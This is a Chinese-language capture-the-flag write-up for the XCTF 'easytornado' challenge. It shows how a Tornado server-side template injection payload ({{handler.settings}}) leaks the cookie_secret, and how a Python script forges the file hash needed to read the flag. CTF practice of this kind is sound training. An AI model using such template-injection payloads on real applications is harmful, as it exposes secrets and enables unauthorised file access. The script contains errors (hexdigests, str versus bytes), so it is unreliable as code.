攻防世界XCTF:easytornado

攻防世界XCTF:easytornado_第1张图片
tormado是python中的一个web应用容器

在这里插入图片描述
三个txt
flag.txt
攻防世界XCTF:easytornado_第2张图片

welcome.txt
在这里插入图片描述
render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。

Hints.txt
在这里插入图片描述
filehash=md5(cookie_secret+md5(filename)) 现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。

测试后发现还有一个error界面,格式为/error?msg=Error,怀疑存在服务端模板注入攻击 (SSTI)
尝试/error?msg={{datetime}} 在Tornado的前端页面模板中,datetime是指向python中datetime这个模块,Tornado提供了一些对象别名来快速访问对象,可以参考Tornado官方文档
在这里插入图片描述
通过查阅文档发现cookie_secret在Application对象settings属性中,还发现self.application.settings有一个别名

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
构造payload获取cookie_secret

error?msg={{handler.settings}}

在这里插入图片描述
利用这个脚本计算出filehash的值

import hashlib

def md5(s):
	md5 = hashlib.md5()
	md5.update(s)
	return md5.hexdigests()

def filehash():
	filename = '/fllllllllllllag'
	cookie_secret = '这里填hash'
	print(md5(cookie_secret+md5(filename)))

if __name__ == '__main__':
	filehash()

在这里插入图片描述
payload

file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

攻防世界XCTF:easytornado_第3张图片

你可能感兴趣的:(CTF_WEB_Writeup)